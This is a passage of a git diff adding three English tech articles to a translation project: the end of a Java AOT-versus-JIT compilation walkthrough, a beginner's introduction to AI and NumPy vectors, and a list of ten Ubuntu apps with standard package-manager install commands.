+Time taken= 36619 +[...] +10 iteration +Square(i) = 100 +Time taken= 42085 +``` + +This output looks as if it is an interpreted version itself. To make sure that the AOT compiled code is utilized, use `-XX:+PrintAOT` : + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:AOTLibrary=./libDemo.so -XX:+PrintAOT Demo +         28        1         loaded        ./libDemo.so  aot library +         80        1         aot[ 1]   Demo.main([Ljava/lang/String;)V +         80        2         aot[ 1]   Demo.square(I)I +         80        3         aot[ 1]   Demo.()V +1 iteration +Square(i) = 1 +Time taken= 7252921 +-------------------------------- +2 iteration +Square(i) = 4 +Time taken= 57443 +[...] +10 iteration +Square(i) = 100 +Time taken= 53586 +``` + +Just to make sure that JIT compilation hasn't happened, use the following: + +``` +$ java -XX:+UnlockExperimentalVMOptions -Xbatch -XX:+PrintCompilation \ -XX:CompileCommandFile=hotspot_compiler -XX:-TieredCompilation \ -XX:CompileThreshold=3 -XX:AOTLibrary=./libDemo.so -XX:+PrintAOT Demo +         19        1         loaded        ./libDemo.so  aot library +         77        1         aot[ 1]   Demo.square(I)I +         77        2         aot[ 1]   Demo.main([Ljava/lang/String;)V +         77        3         aot[ 1]   Demo.()V +         77        2         aot[ 1]   Demo.main([Ljava/lang/String;)V   made not entrant +[...] +4 iteration +Square(i) = 16 +Time taken= 43366 +[...] +10 iteration +Square(i) = 100 +Time taken= 59554 +``` + +If any small change is made to the source code subjected to AOT, it's important to ensure that the corresponding `.so` is created again. Otherwise, the stale AOT-compiled `.so` won't have any effect. For example, make a small change to the square function such that now it's calculating cube: + +``` +//Demo.java +public class Demo { + +  public int square(int i) throws Exception { +        return(i*i*i); +  } + +  public static void main(String[] args) throws Exception { +        for (int i = 1; i <= 10; i++) { +          System.out.println("" + Integer.valueOf(i)+" iteration"); +          long start = System.nanoTime(); +          int r= new Demo().square(i); +          System.out.println("Square(i) = " + r); +          long end = System.nanoTime(); +          System.out.println("Time taken= " + (end-start)); +          System.out.println("--------------------------------"); +        } +  } +} +``` + +Now, compile `Demo.java` again: + +``` +$ java Demo.java +``` + +But, don't create `libDemo.so` using `jaotc`. Instead, use this command: + +``` +$ java -XX:+UnlockExperimentalVMOptions -Xbatch -XX:+PrintCompilation -XX:CompileCommandFile=hotspot_compiler -XX:-TieredCompilation -XX:CompileThreshold=3 -XX:AOTLibrary=./libDemo.so -XX:+PrintAOT Demo +         20        1         loaded        ./libDemo.so  aot library +         74        1         n           java.lang.invoke.MethodHandle::linkToStatic(LLLLLL)L (native)   (static) +2 iteration +sqrt(i) = 8 +Time taken= 43838 +-------------------------------- +3 iteration +        137   56        b            Demo:: (5 bytes) +        138   57        b            Demo::square (6 bytes) +sqrt(i) = 27 +Time taken= 534649 +-------------------------------- +4 iteration +sqrt(i) = 64 +Time taken= 51916 +[...] +10 iteration +sqrt(i) = 1000 +Time taken= 47132 +``` + +Though the old version of `libDemo.so` is loaded, JVM detected it as a stale one. Every time a `.class` file is created, a fingerprint goes into the class file, and a class fingerprint is kept in the AOT library. Because the class fingerprint is different from the one in the AOT library, AOT-compiled native code is not used. Instead, the method is now JIT compiled, because the `-XX:CompileThreshold` is set to 3. + +### AOT or JIT? + +If you are aiming to reduce the warm-up time of the JVM, use AOT, which reduces the burden during runtime. The catch is that AOT will not have enough data to decide which piece of code needs to be precompiled to native code.  By contrast, JIT pitches in during runtime and impacts the warm-up time. However, it will have enough profiling data to compile and decompile the code more efficiently. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/interpret-compile-java + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/studying-books-java-couch-education.png +[2]: https://www.wocintechchat.com/ +[3]: https://creativecommons.org/licenses/by/2.0/ diff --git a/sources/tech/20220809 Artificial Intelligence- Explaining the Basics.md b/sources/tech/20220809 Artificial Intelligence- Explaining the Basics.md new file mode 100644 index 0000000000..35c321560e --- /dev/null +++ b/sources/tech/20220809 Artificial Intelligence- Explaining the Basics.md @@ -0,0 +1,114 @@ +[#]: subject: "Artificial Intelligence: Explaining the Basics" +[#]: via: "https://www.opensourceforu.com/2022/08/artificial-intelligence-explaining-the-basics/" +[#]: author: "Deepu Benson https://www.opensourceforu.com/author/deepu-benson/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Artificial Intelligence: Explaining the Basics +====== +*If you are a student or professional interested in the latest trends in the computing world, you would have heard of terms like artificial intelligence, data science, machine learning, deep learning, etc. The first article in this series on artificial intelligence explains these terms, and sets the platform for a simple tutorial that will help beginners get started with AI.* + +Today it is absolutely necessary for any student or professional in the field of computer science to learn at least the basics of AI, data science, machine learning and deep learning. However, where does one begin to do so? + +To answer this question, I have gone through a number of textbooks and tutorials that teach AI. Some start at a theoretical level (a lot of maths), some teach you AI in a language-agnostic way (they don’t care whether you know C, C++, Java, Python, or some other programming language), and yet others assume you are an expert in linear algebra, probability, statistics, etc. In my opinion, all of them are useful to a great extent. But the important question remains — where should an absolute beginner interested in AI begin his or her journey? + +Frankly, there are many fine ways to begin your AI journey. However, I have a few concerns regarding many of them. Too much maths is a distraction while too little is like a driver who doesn’t know where his/her car’s engine is placed. Starting with advanced concepts is really effective if the potential AI engineer or data scientist is good in linear algebra, probability, statistics, etc. Starting with the very basics and ending at the middle of nowhere is fine only if the potential AI learner wants to end the journey at that particular point. Considering all these facts, I believe an AI tutorial for beginners should start at the very basics and end with a real AI project (small, yet one that will outperform any conventional program capable of performing the same task). + +This series on AI will start from the very basics and will reach up to an intermediate level. But in addition to discussing topics in AI, I also want to ‘cut the clutter’ (the name of a popular Indian news show) about the topics involved since there is a lot of confusion among people where terms like AI, machine learning, data science, etc, are concerned. AI based applications are often necessary due to the huge volume of data being produced every single day. A cursory search on the Internet will tell you that about 2.5 quintillion bytes of data are produced a day (quintillion is the enormous number 1018). However, do remember that most of this data is absolutely irrelevant to us, including tons of YouTube videos with no merit, emails sent without a second thought, reports on trivial matters on newspapers, and so on and so forth. However, this vast ocean of data also contains invaluable knowledge which often is priceless. Conventional software programs cannot carry out the Herculean task of processing such data. AI is one of the few technologies that can handle this information overload. + +We also need to distinguish between fact and fiction as far as the power of AI is concerned. I remember a talk by an expert in the field of AI a few years back. He talked about an AI based image recognition system that was able to classify the images of Siberian Huskies (a breed of dogs) and Siberian snow wolves with absolute or near absolute accuracy. Search the Internet and you will see how similar the two animals look. Had the system been so accurate, it would have been considered a triumph of AI. Sadly, this was not the case. The image recognition system was only classifying the background images of the two animals. Images of Siberian Huskies (since they are domestic animals) almost always had some rectangular or round objects in the background, whereas the images of Siberian snow wolves (being wild animals located in Siberia) had snow in the background. Such examples have led to the need for AI with some guarantee for accuracy in recent years. + +Indeed, AI has shown some of its true power in recent years. A simple example is the suggestions we get from a lot of websites like YouTube, Amazon, etc. Many times, I have been astonished by the suggestions I have received as it almost felt as if AI was able to read my mind. Whether such suggestions are good or bad for us in the long run is a hot topic of debate. Then there is the critical question, “Is AI good or bad?” I believe that a ‘Terminator’ movie sort of future, where machines attack humans deliberately is far, far away in the future. However, the word ‘deliberately’ in the previous sentence is very important. AI based systems at present could malfunction and accidentally hurt humans. However, many systems that claim the powers of AI are conventional software programs with a large number of ‘if’ and ‘for’ statements with no magic of AI in it. Thus, it is safe to say that we are yet to see the real power of AI in our daily lives. But whether that impact will be good (like curing cancer) or bad (deepfake videos of world leaders leading to riots and war) is yet to be seen. On a personal level, I believe AI is a boon and will drastically improve the quality of life of the coming generations. + +### What is AI? + +So, before we proceed any further, let us try to understand how AI, machine learning, deep learning, data science, etc, are related yet distinct from each other. Very often these terms are used (erroneously) as synonyms. First, let us consider a Venn diagram that represents the relationship between AI, machine learning, deep learning and data science (Figure 1). Please keep in mind that this is not the only such Venn diagram. Indeed, it is very plausible that you may find other Venn diagrams showing different relationships between the four different entities shown in Figure 1. However, in my opinion, Figure 1 is the most authentic diagram that captures the interrelationship between the different fields in question to the maximum extent. + +![Figure 1: The AI hierarchy and data science][1] + +First of all, let me make a disclaimer. Many of the definitions of the terms involved in this first article in this series on AI may not be mathematically the most accurate. I believe that formally defining every term with utmost precision at this level of our discussion is counterproductive and a wastage of time. However, in the subsequent articles in this series we will revisit these terms and formally define them. At this point in time of our discussion, consider AI as a set of programs that can mimic human intelligence to some extent. But what do I mean by human intelligence? + +Imagine your AI program is a one-year old baby. As usual, this baby will learn his/her mother tongue simply by listening to the people speaking around him/her. He/she will soon learn to identify shapes, colours, objects, etc, without any difficulty at all. Further, he/she will be able to respond to the emotions of people around him. For example, any 3-year-old baby will know how to sweet talk his/her parents into giving him/her all the chocolates and lollipops he/she wants. Similarly, an AI program too will be able to sense and adapt to its surroundings, just like the baby. However, such true AI applications will be achieved only in the far future (if at all). + +Figure 1 shows that machine learning is a strict subset of AI and as such one of the many techniques used to implement artificially intelligent systems. Machine learning involves techniques in which large data sets are used to train programs so that the necessary task can be carried out effectively. Further, the accuracy of performing a particular task increases with larger and larger training data sets. Notice that there are other techniques used to develop artificially intelligent systems like Boolean logic based systems, fuzzy logic based systems, genetic programming based systems, etc. However, nowadays machine learning is the most vibrant technology used to implement AI based systems. Figure 1 also shows that deep learning is a strict subset of machine learning, making it just one of the many machine learning techniques. However, here again I need to inform you that, currently, in practice, most of the serious machine learning techniques involve deep learning. At this point, I refrain even from trying to define deep learning. Just keep in mind that deep learning involves the use of large artificial neural networks. + +Now, what is data science (the red circle) doing in Figure 1? Well, data science is a discipline of computer science/mathematics which deals with the processing and interpretation of large sets of data. By large, how large do I mean? Some of the corporate giants like Facebook claimed that their servers could handle a few petabytes of data as far back in 2010. So, when we say huge data, we mean terabytes and petabytes and not gigabytes of data. A lot of data science applications involve the use of AI, machine learning and deep learning techniques. Hence, it is a bit difficult to ignore data science when we discuss AI. However, data science involves a lot of conventional programming and database management techniques like the use of Apache Hadoop for Big Data analysis. + +Henceforth, I will be using the abbreviations AI, ML, DL and DS as shown in Figure 1. The discussions in this series will mainly focus on AI and ML with frequent additional references to data science. + +### The beginning of our journey and a few difficult choices to make + +Now that we know the topics that will be covered in this series of articles, let us discuss the prerequisites for joining this tutorial. I plan to cover the content in such a way that any person who can operate a Linux machine (a person who can operate an MS Windows or a macOS machine is also fine, but some of the installation steps might require additional help) along with basic knowledge of mathematics and computer programming will definitely appreciate the power of AI, once he or she has meticulously gone through this series. + +It is possible to learn AI in a language-agnostic way without worrying much about programming languages. However, our discussion will involve a lot of programming and will be executed based on a single programming language. So, before we fix our (programming) language of communication, let us review the top programming languages used for AI, ML, DL and DS applications. One of the earliest languages used for developing AI based applications was Lisp, a functional programming language. Prolog, a logic programming language, was used in the 1970s for the same purpose. We will discuss more about Lisp and Prolog in the coming articles when we focus on the history of AI. + +Nowadays, programming languages like Java, C, C++, Scala, Haskell, MATLAB, R, Julia, etc, are also used for developing AI based applications. However, the huge popularity and widespread use of Python in developing AI based applications almost made the choice unanimous. Hence, from this point onwards we will proceed with our discussion on AI based on Python. However, let me caution you. From here onwards, we make a number of choices (or rather I am making the choices for you). The choices mostly depend on ease of use, popularity, and (on a few occasions) on my own comfort and familiarity with a software/technique as well as the best of my intentions to make this tutorial highly effective. However, I encourage you to explore any other potential programming language, software or tool we may not have chosen. Sometimes such an alternative choice may be the best for you in the long run. + +Now we need to make another immediate choice — whether to use Python 2 or Python 3? Considering the youth and the long career ahead of many of the potential readers of this series, I will stick with Python 3. First, let us install Python 3 in our systems. Execute the command ‘sudo apt install python3’ in the Linux terminal to install the latest version of Python 3 in your Ubuntu system (Python 3 is probably already installed in your system). The installation of Python 3 in other Linux distributions is also very easy. It can be easily installed in MS Windows and macOS operating systems too. The following command will show you the version of Python 3 installed in your system: + +``` +python3 --version +Python 3.8.10 +``` + +We need to install a lot of Python packages as we proceed through the series. Hence, we need to install a package management system. Some of the choices include pip, Conda, Mamba, etc. I chose pip as our package management system for this tutorial because it is relatively simple as well as the recommended installation tool for Python. Personally, I am of the opinion that both Conda and Mamba are more powerful than pip and you are welcome to try them out. However, I will stick with pip. The command ‘sudo apt install python3-pip’ will install pip in an Ubuntu system. Notice that pip, Conda and Mamba are cross-platform software and can be installed in Linux, Windows and macOS systems. The command ‘pip3 –version’ shows the version of pip installed in your system, as shown below: + +``` +pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8) +``` + +Now we need to install an integrated development environment (IDE) for Python. IDEs help programmers write, compile, debug and execute code very easily. There are many contenders for this position also. PyCharm, IDLE, Spyder, etc, are popular Python IDEs. However, since our primary aim is to develop AI and data science based applications, we consider two other heavy contenders — JupyterLab and Google Colab. Strictly speaking, they are not just IDEs; rather, they are very powerful Web based interactive development environments. Both work on Web browsers and offer immense power. JupyterLab is free and open source software supported by Project Jupyter, a non-profit organisation. Google Colab follows the freemium model, where the basic model is free and for any additional features a payment is required. I am of the opinion that Google Colab is more powerful and has more features than JupyterLab. However, the freemium model of Google Colab and my relative inexperience with it made me choose JupyterLab over Google Colab for this tutorial. But I strongly encourage you to get familiar with Google Colab at some point in your AI journey. + +JupyterLab can be installed locally using the command ‘pip3 install jupyterlab’. The command ‘jupyter-lab’ will execute JupyterLab in the default Web browser of your system. An older and similar Web based system called Jupyter Notebook is also provided by Project Jupyter. Jupyter Notebook can be locally installed with the command ‘pip3 install notebook’ and can be executed using the command ‘jupyter notebook’. However, Jupyter Notebook is less powerful than JupyterLab, and it is now official that JupyterLab will eventually replace Jupyter Notebook. Hence, in this tutorial we will be using JupyterLab when the time comes. However, in the beginning stages of this tutorial we will be using the Linux terminal to run Python programs, and hence the immediate need for pip, the package management system. + +Anaconda is a very popular distribution of Python and R programming languages for machine learning and data science applications. As potential AI engineers and data scientists, it is a good idea to get familiar with Anaconda also. + +Now, we need to fix the most important aspect of this tutorial — the style in which we will cover the topics. There are a large number of Python libraries to support the development of AI based applications. Some of them are NumPy, SciPy, Pandas, Matplotlib, Seaborn, TensorFlow, Keras, Scikit-learn, PyTorch, etc. Many of the textbooks and tutorials on AI, machine learning and data science are based on complete coverage of one or more of these packages. Though such coverage of the features of a particular package is effective, I have planned a more maths-oriented tutorial. We will first discuss a maths concept required for developing AI applications, and then follow the discussion by introducing the necessary Python basics and the details of the Python libraries required. Thus, unlike most other tutorials, we will revisit Python libraries again and again to explore the features necessary for the implementation of certain maths concepts. However, at times, I will also request you to learn some basic concepts of Python and mathematics on your own. That settles the final question about the nature of this tutorial. + +After all this buildup, it would be a sin if we stop this article at this point without discussing even a single line of Python code or a mathematical object necessary for AI. Hence, we move on to learn one of the most important topics in mathematics required for conquering AI and machine learning. + +#### Vectors and matrices + +A matrix is a rectangular array of numbers, symbols or mathematical expressions arranged in rows and columns. Figure 2 shows a 2 x 3 (pronounced ‘2 by 3’) matrix having 2 rows and 3 columns. If you are familiar with programming, this matrix can be represented as a two-dimensional array in many popular programming languages. A matrix with only one row is called a row vector and a matrix with only one column is called a column vector. The vector [11, 22, 33] is an example of a row vector. + +![Figure 2: A 2 x 3 matrix][2] + +But why are matrices and vectors so important in a discussion on AI and machine learning? Well, they are the core of linear algebra, a branch of mathematics. Linear algebraic techniques are heavily used in AI and machine learning. Mathematicians have studied the properties and applications of matrices and vectors for centuries. Mathematicians like Gauss, Euler, Leibniz, Cayley, Cramer, and Hamilton have a theorem named after them in the fields of linear algebra and matrix theory. Thus, over the years, a lot of techniques have been developed in linear algebra to analyse the properties of matrices and vectors. + +Complex data can often easily be represented in the form of a vector or a matrix. Let us see a simple example. Consider a person working in the field of medical transcription. From the medical records of a person named P, details of the age, height in centimetres, weight in kilograms, systolic blood pressure, diastolic blood pressure and fasting blood sugar level in milligrams/decilitres can be obtained. Further, such information can easily be represented as the row vector. As an example, P = [60, 160, 90, 130, 95, 160]. But here comes the first challenge in AI and machine learning. What if there are a billion health records. The task will be incomplete even if tens of thousands of professionals work to manually extract data from these billion health records. Hence, AI and machine learning applications try to extract data from these records using programs. + +The second challenge in AI and machine learning is data interpretation. This is a vast field and there are a number of techniques worth exploring. We will go through the most relevant of them in the coming articles in this series. AI and machine learning based applications also face hardware challenges, in addition to mathematical/computational challenges. With the huge amount of data being processed, data storage, processor speed, power consumption, etc, also become a major challenge for AI based applications. Challenges apart, I believe it is time for us to write the first line of AI code. + +We will write a simple Python script to add two vectors. For that, we use a Python library called NumPy. This is a Python library that supports multi-dimensional matrices (arrays) and a lot of mathematical functions to operate on them. The command ‘pip3 install numpy’ will install the package NumPy for Python 3. Notice that NumPy would have been preinstalled if you were using JupyterLab, Google Colab or Anaconda. However, we will operate from the Linux terminal for the first few articles in this series on AI for ease of use. Execute the command ‘python3’ on the Linux terminal to work from the Python console. This console is software that allows line-by-line execution of Python code. Figure 3 shows the line-by-line execution of the Python code to add two vectors and show the output on the terminal. + +![Figure 3: Python code to find the sum of two row vectors][3] + +First, let us try to understand the code. An important note before we proceed any further. Since this tutorial assumes very little programming experience, I will label lines of code as either (basic) or (AI). Lines labelled (basic) are part of classical Python code, whereas lines labelled (AI) are part of the Python code for developing AI applications. I know such a classification is not necessary or very meaningful. However, I want to distinguish between basic Python and advanced Python so that programmers with both basic and intermediate skills in programming will find this tutorial useful. + +The line of code import numpy as np (basic) imports the library NumPy and names it as np. The import statement in Python is similar to the #include statement of C/C++ to use header files and the import statement of Java to use packages. The lines of code a = np.array([11, 22, 33]) and b = np.array([44, 55, 66]) (AI) create two one-dimensional arrays named ‘a’ and ‘b’. Let me do one more simplification for the sake of understanding. For the time being, assume a vector is equivalent to a one-dimensional array. The line of code c = np.add(a, b) (AI) adds the two vectors named ‘a’ and ‘b’ and stores the result in a vector named ‘c’. Of course, naming variables as ‘a’, ‘b’, ‘c’, etc, is a bad programming practice, but mathematicians tend to differ and name vectors as ‘u’, ‘v’, ‘w’, etc. If you are an absolute beginner in Python programming, please learn how variables in Python work. + +Finally, the line of code print(c) (basic) prints the value of the object, the vector [55 77 99], on the terminal. This is a line of basic Python code. The vector c = [55=11+44 77=22+55 99=33+66] gives you a hint about vector and matrix addition. However, if you want to formally learn how vectors and matrices are added, and if you don’t have any good mathematical textbooks on the topic available at your disposal, I suggest you go through the Wikipedia article on matrix addition. A quick search on the Internet will show you that a classic C, C++ or Java program to add two vectors takes a lot more of code. This itself shows how suitable Python is for handling vectors and matrices, the lifeline of linear algebra. The strength of Python will be further appreciated as we perform more and more complex vector operations. + +Before we conclude this article, I want to make two disclaimers. First, the programming example just discussed above deals with the addition of two row vectors (1 x 3 matrices to be precise). But a real machine learning application might be dealing with a 1000000 X 1000000 matrix. However, with practice and patience we will be able to handle these. The second disclaimer is that many of the definitions given in this article involve gross simplifications and some hand-waving. But, as mentioned earlier, I will give formal definitions for any term I have defined loosely before the conclusion of this series. + +Now it is time for us to wind up this article. I request all of you to install the necessary software mentioned in this article and run each and every line of code discussed here. We will begin the next article in this series by discussing the history, scope and future of AI, and then proceed deeper into matrix theory, the backbone of linear algebra. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/artificial-intelligence-explaining-the-basics/ + +作者:[Deepu Benson][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/deepu-benson/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-The-AI-hierarchy-and-data-science.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-A-2-X-3-matrix.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-3-Python-code-to-find-the-sum-of-two-row-vectors.jpg diff --git a/sources/tech/20220809 Top 10 Great Ubuntu Apps for Everyone [Part 4].md b/sources/tech/20220809 Top 10 Great Ubuntu Apps for Everyone [Part 4].md new file mode 100644 index 0000000000..4fd7561d50 --- /dev/null +++ b/sources/tech/20220809 Top 10 Great Ubuntu Apps for Everyone [Part 4].md @@ -0,0 +1,271 @@ +[#]: subject: "Top 10 Great Ubuntu Apps for Everyone [Part 4]" +[#]: via: "https://www.debugpoint.com/great-ubuntu-apps-part-4/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Great Ubuntu Apps for Everyone [Part 4] +====== +This article lists the top 10 essential Ubuntu apps for various use cases in 2022. + +Continuing with the Ubuntu apps series, I will feature the next set of great Ubuntu apps across various functionalities in this article. These apps cater for text editors, sneaky image editors and more. + +This article is part 4 of the series. If you have missed reading the other parts, you can find them in the link below. + +* [Part 1][1] +* [Part 2][2] +* [Part 3][3] + +### Great Ubuntu Apps: Part 4 + +#### 1. Notepadqq + +If you are looking for a replacement for the famous Notepad++ text editor and development tool, try Notepadqq. It is a lightweight editor, primarily used for development and gives you options to analyze all types of texts. Obviously, you can use it for taking notes and other regular tasks. + +![Notepadqq][4] + +If you are a developer, you probably know how important it is to analyze huge texts or server logs. Some of the noteworthy features of Notepadqq are multiline selection, block selection, and multiline editing. In addition, for developers, it supports syntax highlighting for 100+ languages. + +It is one of the best text editors for day-to-day development and generic work. + +You can download Notepadqq using the following commands for various Linux distros. To learn more, visit the [official website][5]. + +| Installation Type | Command(s), link(s) | +| :- | :- | +| Ubuntu and derivatives | sudo apt install notepadqq | +| Arch Linux | sudo pacman -S notepadqq | +| Flatpak (All distributions) | flatpak install flathub com.notepadqq.Notepadqq | + +| Additional Info | Link(s) | +| :- | :- | +| Available as | deb, Flatpak, Snap | +| License | GPL 3.0 | +| Type | Free and open-source | +| Source Code | GitHub | + +#### 2. Cheese + +If you are looking for an app for a quick picture snap from your webcam, try Cheese. Cheese is a lightweight and easy-to-use application which is capable of capturing not only stills but also small videos. In addition, you can capture videos or photos by applying pre-set filters. + +Cheese is based on GTK and provides timer options and resolution selections for photos and videos. + +![Cheese with filters][6] + +You can install Cheese using the following commands in popular distros. + +For Ubuntu and related distributions: + +``` +sudo apt install cheese +``` + +Fedora Linux and corresponding distributions: + +``` +sudo dnf install cheese +``` + +To learn more, visit the official [website][7]. + +#### 3. Speedy + +Before you go ahead and learn about Speedy duplicate finder, you should know that it’s a closed source. And the free version comes with limited functionality. + +Speedy Duplicate Finder helps you to find duplicate files in your system with its unique GUI. Although its free version is limited with features, you can still use it to find duplicate files and free up some disk space. + +![Speedy Duplicate Finder][8] + +Before you initiate a search, you need to add a folder that automatically searches for duplicates and gives you a graphical representation with details. + +Installing this app is only possible using Snap, unfortunately. So you can install it in your Linux distro using the following Snap commands. + +``` +sudo apt updatesudo apt install snapdsudo snap install speedy-duplicate-finder +``` + +Learn more about this utility on the [official homepage][9]. + +**Note:** If you need a complete open-source utility to find duplicates, try rmlint, which [we featured here][10]. + +#### 4. Okular + +The next app on this list is Okular, one of the [best KDE apps][11] developed by the KDE team. It’s a document viewer for your Ubuntu desktop, which can read all popular document formats such as PDF, ePub, CHM help files, DjVu and ps files. + +In addition, it also supports minor annotation while you read the document. You can add comments or highlight certain lines for better collaboration. + +Okular is perfect for studying, where you can highlight and take notes using a touch-based laptop or device. + +![Okular is one of the best Ubuntu App][12] + +Installing Okular is easy in Ubuntu and related distributions using the following command(s). + +| Installation Type | Command(s), link(s) | +| :- | :- | +| Ubuntu and derivatives | sudo apt install okular | +| Arch Linux (after yay setup) | yay -S okular | +| Flatpak (All distributions) | flatpak install flathub org.kde.okular | +| Fedora | sudo dnf install okular | + +Visit the [official website][13] for more details about Okular. + +#### 5. KDE Connect + +A seamless integration between your mobile phones and Laptop/desktop is useful for specific use cases. KDE Connet allows you to get your mobile phone notifications, messages, incoming call and other information in your KDE desktop’s system tray. + +Your mobile phone and laptop/desktop require the same Wi-Fi connection for KDE Connect to work. However, you need that one-time set-up to use this service. Once set up, you can also use it for other additional services. + +A word of caution, do not use KDE Connect on GNOME-based desktops. Because it is supposed to work well on the KDE Plasma desktop, use [GS Connect][14]if you need a similar app for GNOME. + +![KDE Connect after successful pairing][15] + +You can install KDE Connect using the following command for Ubuntu and similar derivatives. + +``` +sudo apt install kdeconnect +``` + +You can learn more about KDE Connect & its features in our [featured article][16]. + +#### 6. Filezilla + +For any file transfer, you can always rely on the Filezilla client. Filezilla is an all-in-one FTP and SFTP client application which brings all the necessary features to the table. You can use it for personal or professional usage without concerns because it is time-tested and enterprise-grade software. + +Filezilla supports FTP, SFTP, transfer queue, and multiple tabs and is cross-platform. You can easily download and upload files to the FTP servers, which support traditional upload and the drag-and-drop feature. Also, using Filezilla, you can connect to remote FTP or SFTP servers and browse the directories. + +Filezilla is available in all major Linux distro’s default repo. Here’s how you can install it. + +| Installation Type | Command(s), link(s) | +| :- | :- | +| Ubuntu and derivatives | sudo apt install filezilla | +| Arch Linux | pacman -S okular | +| Flatpak (All distributions) | flatpak install flathub org.filezillaproject.Filezilla | +| Fedora | sudo dnf install filezilla | + +You can learn more about Filezilla on the [official homepage][17]. + +#### 7. 4k Video Downloader + +The easiest way to download high-definition videos using a graphical utility is using the 4k Video Downloader. + +The 4k video downloader can easily download videos and playlists from MP4, MKV, MP3, and other popular streaming sites. The user interface gives you additional options and settings to tweak your download. + +This is a close source application with a 30 download per day limit for free usage. + +![4k Video Downloader][18] + +This application comes with a deb installer package for Ubuntu Linux and related distributions, which you can install. + +[Download 4K Video Downloader][19] + +if you are an Arch Linux user, you can [setup yay AUR helper][20] and install it using the following command. + +``` +yay -S 4kvideodownloader +``` + +To learn more, visit the [official website][21]. + +#### 8. Wallpaper Selector + +Wallpaper Selector is a rust-based application which gives you easy access to hundreds of Anime and other nice wallpapers. With its simple user interface, you can easily browse and apply the wallpapers directly on the Ubuntu desktop. This application is currently under development, but you can still use it. + +However, it works on GNOME-based desktops at the moment. + +![Wallpaper Selector][22] + +Wallpaper Selector is available as Flathub, which you can install using the following command from the terminal after [setting up Flatpak][23]. + +``` +flatpak install flathub io.github.davidoc26.wallpaper_selector +``` + +#### 9. Plume Creator + +If you are a writer looking for an app that allows you to write and manage large books and novels, then try Plume Creator. + +Plume Creator is a free and open-source writing app which brings several features. For example, you can easily create a Chapter, Scene in a hierarchical manner. You can also manage your stories’ characters, places and items with their unique features. + +Moreover, usual formatting tools are also available, which you need to draft your novel and stories. + +![Plume Creator][24] + +You can install Plume creator using the following command in Ubuntu. + +``` +sudo apt install plume-creator +``` + +#### 10. Blackbox + +Are you bored with the distro-provided terminals such as gnome-terminal or Konsole? Then try out this nifty, modern terminal application Blackbox. It comes with a simple-to-use terminal window with thin borders and additional customization options. + +Some notable features of Blackbox include a tabbed window, theme selection, custom font, floating controls and many more. + +I believe Blackbox is one of the most fantastic console apps for Ubuntu and other Linux distros. + +![Blackbox][25] + +Installing Blackbox is easy with Flatpak using the following commands after you set up Flatpak. + +``` +flatpak install flathub com.raggesilver.BlackBox +``` + +### Closing Notes + +This concludes part 4 of a 5-part series of great Ubuntu app(s). In this article, we covered apps that are helpful to average users, writers, to power users. The apps are also spread across various use cases. + +Stay tuned for the final part in a few days. + +You can always go over all the parts using the following links. + +* [Part 1][26] +* [Part 2][27] +* [Part 3][28] + +Cheers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/great-ubuntu-apps-part-4/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[2]: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ +[3]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/Notepadqq.jpg +[5]: https://notepadqq.com/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/Cheese-with-filters.jpg +[7]: https://help.gnome.org/users/cheese/stable/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/Speedy-Duplicate-Finder.jpg +[9]: https://qiplex.com/software/speedy-duplicate-finder/ +[10]: https://www.debugpoint.com/useful-linux-command#rmlint +[11]: https://www.debugpoint.com/tag/kde-apps +[12]: https://www.debugpoint.com/wp-content/uploads/2022/08/Okular-is-one-of-the-best-Ubuntu-App.jpg +[13]: https://apps.kde.org/okular/ +[14]: https://extensions.gnome.org/extension/1319/gsconnect/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/01/KDE-Connect-after-successful-pairing.jpg +[16]: https://www.debugpoint.com/kde-connect-guide/ +[17]: https://filezilla-project.org/index.php +[18]: https://www.debugpoint.com/wp-content/uploads/2022/08/running-4k-video-downloader.jpg +[19]: https://www.4kdownload.com/products/videodownloader +[20]: https://www.debugpoint.com/install-yay-arch/ +[21]: https://www.4kdownload.com/products/videodownloader/ +[22]: https://www.debugpoint.com/wp-content/uploads/2022/08/Wallpaper-Selector.jpg +[23]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[24]: https://www.debugpoint.com/wp-content/uploads/2022/08/Plume-Creator.jpg +[25]: https://www.debugpoint.com/wp-content/uploads/2022/08/stu-Blackbox.png +[26]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[27]: 